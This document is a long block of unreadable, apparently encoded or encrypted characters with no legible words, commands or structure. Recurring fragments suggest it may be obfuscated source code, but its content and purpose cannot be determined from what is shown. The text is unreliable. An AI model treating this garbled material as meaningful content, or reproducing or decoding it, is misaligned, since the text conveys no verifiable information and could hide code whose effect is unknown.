?PFVTEPT[TYLOPFPFD@\Y\[PTGF^\EY\FA??H???\SBEj[PMAjFV]PQ@YPQ\BjCDOETLDWORN?BEjFV]PQ@YPjPCP[AWW]YL^QYEQ[Y WW]YL^QYEQ[Y\BjCDOETLDWOR?H?VYZFPQVZ[AT\[PG??HVTAV]a]GZBTWYPYA[E WAjN[DS@BYGFRE]OW[DS@BYG?Z^MWjQGV^@FQTLY@\RGWQZ[WSVF YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H???H????S@[VA\Z[_jEF^M@A^BRD\?N?AGLN?\SQPS\[PQOLX^FPPZQAGPA@G[?TLZZ\T B ZFPEEWPPYMG@]twfeta}Rk?O@RZB]VAXZLW[_PTGGTL?\S\BjCDOETLDWORWW]YL^QYEQ[YO@RZB]VAXZLW[_PnhBXAASZLDCW[WR\?O@RZB]VAXZLW[_Pnhtwfeta}\BjCDOETLDWOR???\S\RGWQZ[WSVF\RGWQZ[WSVF O@RZB]VAXZLW[_Pnh@LQDMF@XQVCA@ST?SZGPTV]O@RZB]VAXZLW[_PTFXDZSWTN?O@_YVF ]YOLXDZSWT\RGWQZ[WSVFTLZZ\T B ?\SuOLX^FPPZQAO@_YVF ]YOL\[Au\RGWQZ[WSVFO@_YVF ]YOLOLX^FPPZQAGPA@G[?H??SZGPTV]O@RZB]VAXZLW[_PTFXDZSWTN?YjLY[PX Y@Z@jWXDZSWTOLX^FPPZQATLZZ\T B ?\SuOLX^FPPZQAYjLY[PX Y@Z@jWN?Z A@_M\QSLLGL\[Au\RGWQZ[WSVFYjLY[PX Y@Z@jW?\SZ A@_M\QSLLGLOLX^FPPZQAZ A@_M\QSLLGL	OLX^FPPZQAVZ[A\[@P?\LYGF@GDVCLPD[YjLY[PX Y@Z@jW?H?BV VBW[_WLTSR_XDZSWT\BjCDOETLDWOR TLZZ\T B \RGWQZ[WSVF?\SuOLX^FPPZQABV VBW[_WLTSR_\[Au\RGWQZ[WSVFBV VBW[_WLTSR_N?_[OEVC\EZXDZSWTWW]YL^QYEQ[YTLZZ\T B ?__Z\ ZQDYu\BjCDOETLDWOR_[OEVC\EZ
WW]YL^QYEQ[YFAG\[RuOLX^FPPZQA _[OEVC\EZ?\S__Z\ ZQDY\BjCDOETLDWOR\RGWQZ[WSVFuXQ jS\YPBV VBW[_WLTSR___Z\ ZQDYN?u\[VY@QPBV VBW[_WLTSR_?GPA@G[?H?\S__Z\ ZQDYN?\LYGF@GDVCLPD[BV VBW[_WLTSR_?H?@[FPA_[OEVC\EZ__Z\ ZQDY?H?H?@[FPAYjLY[PX Y@Z@jWZ A@_M\QSLLGL?\S\RGWQZ[WSVFWW]YL^QYEQ[YuQPYPAPjAGT[F\P[AWW]YL^QYEQ[Y ?Y__GTWYXB[GRYWDW??????HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[CQLYAP@RG?N?AGLN?\SQPS\[PQWW]YL^QYEQ[YGPA@G[?BQ_^XPLPY\SR[@YY?QCDDTE_B_COL\BjCDOETLDWOR GFWPOXC\BjCDOETLDWORESZQRPGARPTYBM^GFjE_EjESZQRPGARPTYB ?DWVAFDLEPGFWPOXC?EY]B_VYR[LM?\Su\BjCDOETLDWORDWVAFDLEPuWW]YL^QYEQ[YDWVAFDLEPN?[CPBD ]XT_OSFAG\[RuOLX^FPPZQA DWVAFDLEPEAOEZBAC ZYQAjEOO BREAOEZBAC
EAOEZBACEAOEZBAC?B^\ASTP XZO\RGWQZ[WSVF\RGWQZ[WSVF
_Bj\F\@\] _^_P[CPBD ]XT_OS[CPBD ]XT_OS?\S\BjCDOETLDWORB^\ASTP XZO\BjCDOETLDWORB^\ASTP XZOCOQ [GQ\DVjWVOW@B^\ASTP XZOEY]B_VYR[LMB^\ASTP XZO?@[FPA[CPBD ]XT_OSB^\ASTP XZO?H?\SEY]B_VYR[LMN?DFB@ \WVYBZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[Y?VC\G^YSRjC\BjCDOETLDWOR\BjCDOETLDWOR  
uRPAjZEA\Z[DFB@ \WVYB?\SVC\G^YSRjCIIWW]YL^QYEQ[YVC\G^YSRjC	   GPA@G[FYPjXOW]IBO TZX^DLG FFYPjXOW]k?EY]B_VYR[LMDEBWAOEZ\R\_YMCGZOLX^FPPZQAVC\G^YSRjC?\SEY]B_VYR[LMIIWW]YL^QYEQ[YEY]B_VYR[LM	 GPA@G[???\SCOQ [GQ\DVjWVOW@EY]B_VYR[LMN?Z^MWjQGV^@FQTLY@OLX^FPPZQAWW]YL^QYEQ[Y?GPA@G[?H?H?CSROQS@LQDMF@XQVCA@ST?RXXARQBG@M^ CSROQS\BjCDOETLDWOR  QCDDTE_B_COL?XRPDVRWFW_RFRXXARQBG@M^ QCDDTE_B_COLOLX^FPPZQA?\SuOLX^FPPZQARXXARQBG@M^ j[M^MFYLR_STTQRXXARQBG@M^  AG@P?SLRGjGXPTWCAj_u\BjCDOETLDWORXRPDVRWFW_RF
FAG\[Ru\RGWQZ[WSVF XRPDVRWFW_RF??_QYC\@^WSW[ASTYFP?\SSLRGjGXPTWCAj_\RGWQZ[WSVF\RGWQZ[WSVFOLX^FPPZQASLRGjGXPTWCAj_ M\jM_^CYCPGF\Z[jVZXETGPM\jM_^CYnhBRW^TOAOBRZT[TBSA_QYC\@^WSW[AAG@P?@[FPAM\jM_^CY?\S_QYC\@^WSW[ASLRGjGXPTWCAj_IIWW]YL^QYEQ[Y_Bj\F\@\] _^_PSLRGjGXPTWCAj_WW]YL^QYEQ[YEY]B_VYR[LMN?\SFWDSWO@V[[ CFM_\MEXRPDVRWFW_RFASXDZZS^@LTP^ Z[BEY]B_VYR[LMN?DDAPGjYE_B@SFOFC\VPXRPDVRWFW_RF?P_Y^QVA^YXRPDVRWFW_RF?YTS^L]AS]jTXRPDVRWFW_RF?H?H?@[FPASLRGjGXPTWCAj__QYC\@^WSW[A?\S\RGWQZ[WSVFOLX^FPPZQA  \RGWQZ[WSVFWW]YL^QYEQ[YNLEVS^ AATBZB@Z^FCVBC]]G^XLEVS^ AATBZB?GDCWY MOVVZQCDDTE_B_COLQCDDTE_B_COL\BjCDOETLDWOR????M]TOBAVPjFL_RPAjZEA\Z[\BjCDOETLDWORTGGTL???\S\RGWQZ[WSVFM]TOBAVPjFL_M]TOBAVPjFL_TGGTL????\S\BjCDOETLDWOR GDCWY MOVVZM]TOBAVPjFL_AG@PN?M]TOBAVPjFL_nhGDCWY MOVVZ?@EQTAPjZEA\Z[WW]YL^QYEQ[YWW]YL^QYEQ[YM]TOBAVPjFL_???H?H?PPRQCFXV]\MW_@jVTZ[PZCCL^FZ]A[?\Su\RGWQZ[WSVFPPRQCFXV]\MW_IIj[M^MFYLR_STTQPPRQCFXV]\MW_AG@PN?D TRSAESPPRQCFXV]\MW_QCDDTE_B_COLWW]YL^QYEQ[Y?[XR[\TQWju\RGWQZ[WSVFD TRSAES
FAG\[Ru\RGWQZ[WSVF D TRSAES?LV\LYW]ESjSTYFP?\S[XR[\TQWj\RGWQZ[WSVF\RGWQZ[WSVF\RGWQZ[WSVF[XR[\TQWjTTFYMQWWDCPGF\Z[jVZXETGPTTFYMQWWDnhBRW^TOAOBRZT[TBSALV\LYW]ESjAG@P?@[FPATTFYMQWWD???\SLV\LYW]ESj[XR[\TQWjIIWW]YL^QYEQ[Y_Bj\F\@\] _^_P[XR[\TQWjWW]YL^QYEQ[YEY]B_VYR[LMNX[[RL^OCTIT E\B^GF @ X[[RL^OCTk ?\SFWDSWO@V[[ CFM_\MED TRSAESASXDZZS^@LTP^ Z[BEY]B_VYR[LMN??DDAPGjYE_B@SFOFC\VPD TRSAES?P_Y^QVA^YD TRSAES??YTS^L]AS]jTD TRSAES?H?YZRTG\A]X\VTQTEAPG??HPYFP\SLV\LYW]ESjN?Q__WXARE_uWW]YL^QYEQ[YD TRSAES?\SQ__WXARE_IIQ__WXARE_  EG_MOYQX_CP_Y^QVA^YD TRSAES?@[FPAQ__WXARE_???H?@[FPA[XR[\TQWjLV\LYW]ESj?H?W\BEGR]_@SWAB[EY]B_VYR[LM?HVTAV]a]GZBTWYPYA[E WAjN??Z^MWjQGV^@FQTLY@WW]YL^QYEQ[YYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[TMVB\QOYAYj\Dj_OA?N?\S\FFPAjrpanEhIIOLX^FPPZQAjrpanEhGPA@G[?jWELDEXW^Y\QR^jrpanEh?\SjWELDEXW^Y\QR^Bj[MSRFPW[X^j \BjCDOETLDWORN?AGLN?j TWGVDF@]BXAASZLDCW[WR\ZFPEEWPPYMG@]twfeta}WW]YL^QYEQ[YkWW]YL^QYEQ[Y?LWA[DEZMXMBP@u\BjCDOETLDWORj TWGVDF@]
\[AuOLX^FPPZQAj TWGVDF@]?\SLWA[DEZMXMBP@ LWA[DEZMXMBP@	     N?\[VY@QPj TWGVDF@]?H?HVTAV]a]GZBTWYPYA[E WAjN????HVTAV]pMVPEA\Z[YA[E WAjN?H?B]\YP\RGWQZ[WSVF uZWjP[QjVYPT[N?H????]PTQPG\RGWQZ[WSVF?PM\A?H????\SjWELDEXW^Y\QR^Bj[MSRFPW[X^j \BjCDOETLDWORGPA@G[?AGLN?\SWW]YL^QYEQ[Y OLX^FPPZQAWW]YL^QYEQ[Y \RGWQZ[WSVFN?u@EQTAPjZEA\Z[\BjCDOETLDWOR \[AuRPAjZEA\Z[WW]YL^QYEQ[Y WW]YL^QYEQ[Y???u@EQTAPjZEA\Z[OLX^FPPZQA  \RGWQZ[WSVFOLX^FPPZQA?H?R[__LOD\ZZQMT]OE]O[\j \RGWQZ[WSVF??\S\RGWQZ[WSVFR[__LOD\Z\RGWQZ[WSVF\BjCDOETLDWORR[__LOD\ZWW]YL^QYEQ[Y\BjCDOETLDWORR[__LOD\ZN??YZX\ZjRuOLX^FPPZQAR[__LOD\ZAG@P?\SYZX\ZjRSTYFPWW]YL^QYEQ[YYZX\ZjR   R[__LOD\ZYZX\ZjR????H?\SOLX^FPPZQAR[__LOD\Z	R[__LOD\Z_OP_ZC\jL?\S\RGWQZ[WSVF R[__LOD\Z	N?B]\YPOLX^FPPZQA uZWjP[QjVYPT[NEMPRW_Z@_QMEMPRW?H?]PTQPGOLX^FPPZQA?]PTQPGWW]YL^QYEQ[Y?]PTQPG\RGWQZ[WSVF?PM\A??H?\WW ATDC P[WZQMT]OE]O[\j WW]YL^QYEQ[Y?B^D_ER^MGM@AOLX^FPPZQA\WW ATDC P[WR[__LOD\Z????\S\FFPAjfpgcpgnOLX^FPPZQA h\BjCDOETLDWORjfpgcpgn\RGWQZ[WSVF hB^D_ER^MGM@AN?B]\YP\RGWQZ[WSVF uZWjP[QjVYPT[N?H?]PTQPG\BjCDOETLDWOR ???]PTQPGOLX^FPPZQA B^D_ER^MGM@A?PM\A?H?B]\YP\BjCDOETLDWOR uZWjP[QjVYPT[N?H?]PTQPG\BjCDOETLDWOR?]PTQPG\BjCDOETLDWOR ?]PTQPG\BjCDOETLDWOR ?]PTQPG\BjCDOETLDWOR  B^D_ER^MGM@A????PV]Z\WW ATDC P[WR[__LOD\Z?PM\A?HVTAV]a]GZBTWYPYA[E WAjN??Z^MWjQGV^@FQTLY@OLX^FPPZQA YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?Z^MWjQGV^@FQTLY@OLX^FPPZQA YA[E WAj??H?befYZAs\YYEGZ_PVA\[_PVAZG??H?TMVB\QOYAYj\Dj_OA?S@[VA\Z[DTBM P  ZLVAS?N?\S\FFPAjrpan\BjCDOETLDWOR hGPA@G[?AGLN?ET@GF\ ZRjjrpanWW]YL^QYEQ[Y h?\S\RGWQZ[WSVF ET@GF\ ZRjIIET@GF\ ZRjGPA@G[?ET@GF\ ZRj\BjCDOETLDWORET@GF\ ZRj?WDZ@PF_jTGGTL?\SWW]YL^QYEQ[Y OLX^FPPZQAWDZ@PF_jnhFAG\[ROLX^FPPZQA]ZXPj@GYe}ej`gyj}zfa?\SWW]YL^QYEQ[YOLX^FPPZQAN???jRABPDEF_FAG\[RuRPAjZEA\Z[WW]YL^QYEQ[Y?\SjRABPDEF_WDZ@PF_jnhFAG\[RWW]YL^QYEQ[YjRABPDEF_e}ej`gyj}zfa?H??\S\FFPAjfpgcpgnOLX^FPPZQAhWDZ@PF_jnhFAG\[Rjfpgcpgn\BjCDOETLDWOR h?WDZ@PF_jnhBROVEFCLP^ZDWS???SLBPDDGTFSDMSTYFP?SZGPTV]\BjCDOETLDWORWDZ@PF_jTFCVMAFOZNS[ ZVCEe}ej|{ajxtme}ej|{ajxtmQGjRC^Q\OGS[ ZVCE?\S\RGWQZ[WSVFCVMAFOZIICVMAFOZVZ[A\[@P??\S\RGWQZ[WSVFCVMAFOZSTYFPCVMAFOZOLX^FPPZQA\RGWQZ[WSVFCVMAFOZ?\SZFPEEWPPYMG@]\RGWQZ[WSVFCVMAFOZ\RGWQZ[WSVFkET@GF\ ZRjN??SLBPDDGTFSDMAG@PMCCGRAj@e}ejxtzgjcpgf|z{BQDCTLD MCCGRAj@????WGPT^?H?H?\SSLBPDDGTFSDMGPA@G[?Y^^_FMX@P\RGWQZ[WSVF\BjCDOETLDWORk ?S[X QE_ ^DGVDEBWAOEZ\R\_YMCGZ@ jM[ES[E_WSCV\LjY^^_FMX@P?B]\YPWW]YL^QYEQ[Y uZWjP[QjVYPT[N?H?]PTQPGOLX^FPPZQA?]PTQPGWW]YL^QYEQ[Y?PV]ZS[X QE_ ^DGVY^^_FMX@P
WW]YL^QYEQ[YWW]YL^QYEQ[YY^^_FMX@POLX^FPPZQA???PM\A???HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR YA[E WAj?H?H?DTBM P  ZLVAS?S@[VA\Z[G_Q]DCDE@\^G@^R@?N?AGLN?\SOLX^FPPZQAOLX^FPPZQAGZV^PAjVYPT[jQZXT\[?\S\RGWQZ[WSVFOLX^FPPZQABAVjSY@F]jTYY?\SWW]YL^QYEQ[Y\RGWQZ[WSVFFRjVTV]PEGPFFjE@GRPjVTV]P???\SWW]YL^QYEQ[YOLX^FPPZQAY\APFEPPQjE@GRPjTYY?PYFP\S\BjCDOETLDWOR  OLX^FPPZQA\RGWQZ[WSVF\RGWQZ[WSVFOLX^FPPZQAy\APfEPPQjvTV]Pjte|E@GRPjTYY?\S\BjCDOETLDWOR  \RGWQZ[WSVFOLX^FPPZQA \BjCDOETLDWOROLX^FPPZQAwGPPOPje@GRPvTV]PWGPPOPjVTV]PjSY@F]?\S\RGWQZ[WSVF  \RGWQZ[WSVFWW]YL^QYEQ[YWW]YL^QYEQ[Y\RGWQZ[WSVFvTV]Pjp[TWYPGVYPTGjAZATYjVTV]P???\S\RGWQZ[WSVF\RGWQZ[WSVFBESVjVYPTGjTYYjVTV]P?PYFP\S\FFPAryzwtyfn\BjCDOETLDWORhOLX^FPPZQAryzwtyfnWW]YL^QYEQ[Yh\BjCDOETLDWORryzwtyfn\RGWQZ[WSVFh\RGWQZ[WSVFryzwtyfn\BjCDOETLDWORhQPYPAPvTV]PAG@P?\SOLX^FPPZQAWW]YL^QYEQ[YBEjVTV]PjVYPTGjVTV]P???\SWW]YL^QYEQ[Y  \BjCDOETLDWORWW]YL^QYEQ[YWW]YL^QYEQ[YWW]YL^QYEQ[Y T@AZEA\X\OPvTV]PVYPTGTYY?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFWW]YL^QYEQ[Y?HVTAV]a]GZBTWYPYA[E WAjN????Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H??S@[VA\Z[]A\FWGXEZ_TD@VE?N?\S\BjCDOETLDWOR\BjCDOETLDWOR\FjTQX\[GPA@G[AG@P?\S\RGWQZ[WSVF\RGWQZ[WSVFBEjQZ\[RjT_TMGPA@G[AG@P?\SQPS\[PQOLX^FPPZQAgpfajgpd`pfaGPA@G[AG@P?\SQPS\[PQWW]YL^QYEQ[Ymxygevjgpd`pfaGPA@G[AG@P?\SWW]YL^QYEQ[YOLX^FPPZQA\FjSPPQGPA@G[AG@P?\SOLX^FPPZQA\BjCDOETLDWOR\FjGZWZAFGPA@G[AG@P???\SOLX^FPPZQAOLX^FPPZQA\FjF\APXTEFGPA@G[AG@P??\S\RGWQZ[WSVFOLX^FPPZQA\FjV@FAZX\OPjEGPC\PBGPA@G[AG@P?\S\FFPAjrpanOLX^FPPZQA hII\FFPAjrpan\BjCDOETLDWORhII\FFPAjrpan\BjCDOETLDWORhGPA@G[AG@P???GPA@G[STYFP????H?S@[VA\Z[PZDVZOM\jPF^@\^C^F????NX@\VZQS\SALQXP[WT[X@\VZQ?[CBjAMTRCTP\FFPAryzwtyfnWW]YL^QYEQ[YhOLX^FPPZQAryzwtyfnWW]YL^QYEQ[Yh
\RGWQZ[WSVFryzwtyfnOLX^FPPZQAh????\S[CBjAMTRCTPGPA@G[?[CBjAMTRCTP\RGWQZ[WSVF\RGWQZ[WSVFWW]YL^QYEQ[Y[CBjAMTRCTP?AXEXCBPDSYV\BjCDOETLDWORWW]YL^QYEQ[Y
FAG\[R\RGWQZ[WSVF]ZXPj@GYe}ej`gyj}zfa?Y@XMC_L_MWDOBZFPEEWPPYMG@]OLX^FPPZQAAXEXCBPDSYV?[OQ]A]A WXWW]YL^QYEQ[Y\BjCDOETLDWOR[CBjAMTRCTP?GPA@G[i[	FVG\EAQTATFViY@XMC_L_MWDOB[OQ]A]A WXii[[CBjAMTRCTPi[	FVG\EAi[	FVY@XMC_L_MWDOB[OQ]A]A WXi[?H?S@[VA\Z[FFE_R^[ GWQXV\?N?AGLN?\S]A\FWGXEZ_TD@VEGPA@G[??^GXLBMPLXjGZ_MPZDVZOM\jPF^@\^C^F?\S^GXLBMPLXjGZ_MGPA@G[?PV]Z^GXLBMPLXjGZ_M?ryzwtyfnOLX^FPPZQA   hAG@P?\SOLX^FPPZQA\RGWQZ[WSVF\RGWQZ[WSVFOLX^FPPZQAPXEALryzwtyfnWW]YL^QYEQ[Y hN?ryzwtyfn\BjCDOETLDWORhAG@P?CQ]Y\ @C@YV\[AuRPAjZEA\Z[WW]YL^QYEQ[Y ?\SWW]YL^QYEQ[YCQ]Y\ @C@YVu@EQTAPjZEA\Z[OLX^FPPZQA \BjCDOETLDWOR\RGWQZ[WSVF?@[FPACQ]Y\ @C@YV?H?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\BjCDOETLDWORYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN????H?H?S@[VA\Z[MVYP^PL[\TX^WV\]^MDMACB?N?\S\RGWQZ[WSVF\]^MDMACBII\]^MDMACBGPA@G[\]^MDMACB?\SPXEALryzwtyfn\BjCDOETLDWORhGPA@G[\]^MDMACB?^GXLBMPLXjGZ_MPZDVZOM\jPF^@\^C^F?\S^GXLBMPLXjGZ_MGPA@G[\]^MDMACB???\SFAG\EZF\]^MDMACB\RGWQZ[WSVFSTYFPFAG\EZF\]^MDMACB\RGWQZ[WSVFSTYFPGPA@G[\]^MDMACB??ryzwtyfn\BjCDOETLDWORhAG@P?ryzwtyfnOLX^FPPZQA  hAG@P???EVj@QPTV[M[FAG\EZF\]^MDMACB\BjCDOETLDWOR?\SEVj@QPTV[M[STYFPN?GPA@G[OLX^FPPZQA\]^MDMACBEVj@QPTV[M[^GXLBMPLXjGZ_M\RGWQZ[WSVF\]^MDMACBEVj@QPTV[M[?H?e}eS\WPGFPD@\CTG\T[AQTATSYZBRGTE]??GPA@G[\]^MDMACB^GXLBMPLXjGZ_M?H?S@[VA\Z[F^YSQ[XBD[G\Y?N?AGLN?bewYZV^vZ[AGZYF\[SPGE\EPY\[P???\S]A\FWGXEZ_TD@VEGPA@G[?\SPXEALryzwtyfn\RGWQZ[WSVFhGPA@G[?[CBjAMTRCTP\FFPAryzwtyfn\BjCDOETLDWORhWW]YL^QYEQ[YryzwtyfnWW]YL^QYEQ[Yh
OLX^FPPZQAryzwtyfn\RGWQZ[WSVFhQS\SSA\XEe}ejxtzgjcpgf|z{\]SZGjEQ_^[QS\SSA\XE?\S[CBjAMTRCTPGPA@G[?ryzwtyfnWW]YL^QYEQ[YhAG@P?u\RGWQZ[WSVF \BjCDOETLDWOR?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@WW]YL^QYEQ[Y  YA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN?H?H?S@[VA\Z[]P_YFFV@@AX^E\\??N?AGLN?\S\FjTQX\[\FFPAryzwtyfnOLX^FPPZQAhIIryzwtyfn\RGWQZ[WSVFhWW]YL^QYEQ[YGPA@G[?\SOLX^FPPZQA\BjCDOETLDWOR \FjFFYGPA@G[?QVWQ@P_W]SVXBZQMT]OE]O[\j OLX^FPPZQA???Y@XMC_L_MWDOBZFPEEWPPYMG@]twfeta}\BjCDOETLDWORk?QCSBSC@G\RGWQZ[WSVF?\SQVWQ@P_W]SVXBN?\S\BjCDOETLDWOROLX^FPPZQA\[AuRPAjZEA\Z[\BjCDOETLDWOR N?u@EQTAPjZEA\Z[\RGWQZ[WSVF \BjCDOETLDWOR?D @CMGC[OX^XFAG\[RuRPAjZEA\Z[\BjCDOETLDWOR?PV]Zi[\BjCDOETLDWORY@XMC_L_MWDOB?\RGWQZ[WSVF?\BjCDOETLDWORQCSBSC@G\BjCDOETLDWOROLX^FPPZQA ?\BjCDOETLDWOROLX^FPPZQAD @CMGC[OX^X?\BjCDOETLDWORQCSBSC@G\RGWQZ[WSVFOLX^FPPZQA?WW]YL^QYEQ[YQCSBSC@GOLX^FPPZQA\RGWQZ[WSVFQCSBSC@G\RGWQZ[WSVF\BjCDOETLDWORQCSBSC@GWW]YL^QYEQ[YOLX^FPPZQA QCSBSC@GWW]YL^QYEQ[Y\RGWQZ[WSVF?WW]YL^QYEQ[YQCSBSC@G\RGWQZ[WSVFOLX^FPPZQA QCSBSC@GOLX^FPPZQA WW]YL^QYEQ[Y ???\BjCDOETLDWOR i[?@[FPAD @CMGC[OX^X?H??GPA@G[?H????QVWQ@P_W]SVXB\BjCDOETLDWOR \BjCDOETLDWOR\RGWQZ[WSVFQVWQ@P_W]SVXB?\SWW]YL^QYEQ[YQVWQ@P_W]SVXB\BjCDOETLDWORQVWQ@P_W]SVXB\BjCDOETLDWOR\BjCDOETLDWORQVWQ@P_W]SVXB????Wj]PA]]SLZ?\SWW]YL^QYEQ[Y  \BjCDOETLDWORN??CF\ XjFAG\[R\BjCDOETLDWOR ]ZXPj@GYe}ej`gyjeta}?\SCF\ XjCF\ XjWj]PA]]SLZWW]YL^QYEQ[Y CF\ Xj?H?\SOLX^FPPZQA  OLX^FPPZQAN?u@EQTAPjZEA\Z[OLX^FPPZQA \BjCDOETLDWOR?u@EQTAPjZEA\Z[WW]YL^QYEQ[YQVWQ@P_W]SVXBOLX^FPPZQA?H?FPMCVOQMSY\RGWQZ[WSVF Y@XMC_L_MWDOB?WW]YL^QYEQ[Y ?OLX^FPPZQAQCSBSC@G\BjCDOETLDWOR\BjCDOETLDWOR?WW]YL^QYEQ[Y?WW]YL^QYEQ[YQCSBSC@GWW]YL^QYEQ[Y\RGWQZ[WSVFOLX^FPPZQA QVWQ@P_W]SVXB?\BjCDOETLDWORQCSBSC@G\RGWQZ[WSVF\RGWQZ[WSVFWW]YL^QYEQ[Y QVWQ@P_W]SVXB\BjCDOETLDWOROLX^FPPZQA Wj]PA]]SLZOLX^FPPZQAQCSBSC@G\RGWQZ[WSVF\BjCDOETLDWOR?OLX^FPPZQAQCSBSC@GOLX^FPPZQA\BjCDOETLDWOR?OLX^FPPZQAQCSBSC@G\RGWQZ[WSVF WW]YL^QYEQ[YQCSBSC@G\BjCDOETLDWORWW]YL^QYEQ[Y?OLX^FPPZQAQCSBSC@G\RGWQZ[WSVFWW]YL^QYEQ[Y?WW]YL^QYEQ[Y?WW]YL^QYEQ[YQCSBSC@GWW]YL^QYEQ[YWW]YL^QYEQ[Y????OLX^FPPZQA QCSBSC@GOLX^FPPZQA\RGWQZ[WSVFQCSBSC@GWW]YL^QYEQ[Y\RGWQZ[WSVF?WW]YL^QYEQ[Y ?PV]Zi[FPMCVOQMSYi[?HVTAV]a]GZBTWYPYA[E WAjN?Z^MWjQGV^@FQTLY@\RGWQZ[WSVFYA[E WAj?HVTAV]pMVPEA\Z[YA[E WAjN????Z^MWjQGV^@FQTLY@OLX^FPPZQAYA[E WAj????H?H??\S_WQDBVO[EDRTN?GPA@G[?H?P_MBXCRjZVYRGOZ?_TB\M]jTS]VZuOLX^FPPZQAGFWPOXC?\S_TB\M]jTS]VZII_TB\M]jTS]VZMVWMT EG_MOYQX_CN?^Q@\[S \^VTRL\RGWQZ[WSVF????V^]@[\jMVLRAQAGFWPOXC^Q@\[S \^VTRL^Q@\[S \^VTRL EG_MOYQX_C??@[FPA^Q@\[S \^VTRL?H?@[FPA_TB\M]jTS]VZ?AGLN??@[CO@MT_R]ZRBMjjs|ypjj?@RL^QXWA?AYRGT[Qu\RGWQZ[WSVF@[CO@MT_R]ZRBMSTYFP[@YY?\SOLX^FPPZQAAYRGT[QWW]YL^QYEQ[Y\BjCDOETLDWORAYRGT[QPE^FFR@F_WYL@RL^QXWAPE^FFR@F_WYLnh??\S@RL^QXWAQPS\[PQ\BjCDOETLDWORN?XRTjTTWTETY]TGGTL???QPQEWZTFQPS\[PQ\RGWQZ[WSVF
bex`jey`r|{jq|gbejvz{ap{ajq|g\RGWQZ[WSVF??[XGAMQ_EQPS\[PQ\RGWQZ[WSVF
bejey`r|{jq|gbejvz{ap{ajq|gWW]YL^QYEQ[Y?YWZXSEP]CTFXSTYFP?\SOLX^FPPZQA  \RGWQZ[WSVFN??jM^A@AXjuWW]YL^QYEQ[YQPQEWZTF
uWW]YL^QYEQ[YQPQEWZTFOLX^FPPZQASTYFP?RV\]AAL_FSB_u\RGWQZ[WSVF[XGAMQ_EOLX^FPPZQA?\SWW]YL^QYEQ[Y jM^A@AXjII\RGWQZ[WSVFRV\]AAL_FSB_N???YWZXSEP]CTFXAG@P?SZGPTV]TGGTLjM^A@AXjTF]CMGLY SjDF]XRTjTTWTETY]nh]CMGLY SjDF]?SZGPTV]TGGTLRV\]AAL_FSB_TF]CMGLY SjDF]XRTjTTWTETY]nh]CMGLY SjDF]?H???@[FPAjM^A@AXjRV\]AAL_FSB_?H?\SYWZXSEP]CTFXN?POPRLYGu\RGWQZ[WSVFQPQEWZTF
@F@][ P]F]TFD^@QPQEWZTFSTYFP?\SWW]YL^QYEQ[YPOPRLYGSZGPTV]POPRLYGTFQYWFXMBPXYFGN???\SWW]YL^QYEQ[YQYWFXMBPXYFG\RGWQZ[WSVFXRTjTTWTETY]nhQPQEWZTFQYWFXMBPXYFG?H?POPRLYGu\RGWQZ[WSVF[XGAMQ_E
@F@][ P]F]TFD^@[XGAMQ_ESTYFP?\SOLX^FPPZQAPOPRLYGSZGPTV]POPRLYGTFQYWFXMBPXYFGN??Mj QYOB [XGAMQ_EQYWFXMBPXYFG?\SuOLX^FPPZQAMj QYOB VZ[A\[@P???[@@S LDYLDj@F@][ P]F]TFD^@Mj QYOB ?\S\BjCDOETLDWOR[@@S LDYLDjVZ[A\[@P?SZGPTV][@@S LDYLDjTFT_FXW]GMN????\SWW]YL^QYEQ[YT_FXW]GMMM\RGWQZ[WSVFXRTjTTWTETY]nhMj QYOB T_FXW]GM?H?H?@[FPAPOPRLYGQYWFXMBPXYFGT_FXW]GMMj QYOB [@@S LDYLDj?H?CXEGWO_YW]XZP@\RGWQZ[WSVF @[CO@MT_R]ZRBM\BjCDOETLDWOR?SZGPTV]XRTjTTWTETY]TF]CMGLY SjDF]N?\S]CMGLY SjDF]@[CO@MT_R]ZRBMVZ[A\[@P??CYR]FFRLC^\_u\RGWQZ[WSVF]CMGLY SjDF]??\SCYR]FFRLC^\_IICYR]FFRLC^\_  MW SMWVN?]V[^_jS@ Ou\RGWQZ[WSVF]CMGLY SjDF]?\S]V[^_jS@ OII]V[^_jS@ O	II]V[^_jS@ O VZ[A\[@P?H?AYRGT[Qu\BjCDOETLDWOR]CMGLY SjDF]STYFP[@YYMMW?\S\RGWQZ[WSVFAYRGT[QII\BjCDOETLDWORAYRGT[Q\BjCDOETLDWORSTYFPVZ[A\[@P?\S\BjCDOETLDWOR WW]YL^QYEQ[YAYRGT[QPE^FFR@F_WYLVZ[A\[@P?\S\RGWQZ[WSVF ]CMGLY SjDF]\RGWQZ[WSVFCXEGWO_YW]XZP@PE^FFR@F_WYLnh@RL^QXWAN?\S[C VO@ ZBV]MG]CMGLY SjDF]N????\S]GYC O_WB@j^E]CMGLY SjDF]]CMGLY SjDF]\RGWQZ[WSVF\RGWQZ[WSVF  \BjCDOETLDWORuZEVTV]Pj\[CTY\QTAP]CMGLY SjDF]AG@P????H?VZ[A\[@P?H????\SCPGF\Z[jVZXETGPPE^FFR@F_WYLnh@RL^QXWA	N?[PZE]  E@FRMD^RTVPRGEL_R\RY]CMGLY SjDF]?\S[PZE]  ESTYFPN?Z^MWjQGV^@FQTLY@\BjCDOETLDWOR\BjCDOETLDWOR\RGWQZ[WSVF]CMGLY SjDF]?VZ[A\[@P?H??\S[PZE]  EAG@PN?\S]GYC O_WB@j^E]CMGLY SjDF]]CMGLY SjDF]\RGWQZ[WSVFN?\S\BjCDOETLDWOR  OLX^FPPZQAuZEVTV]Pj\[CTY\QTAP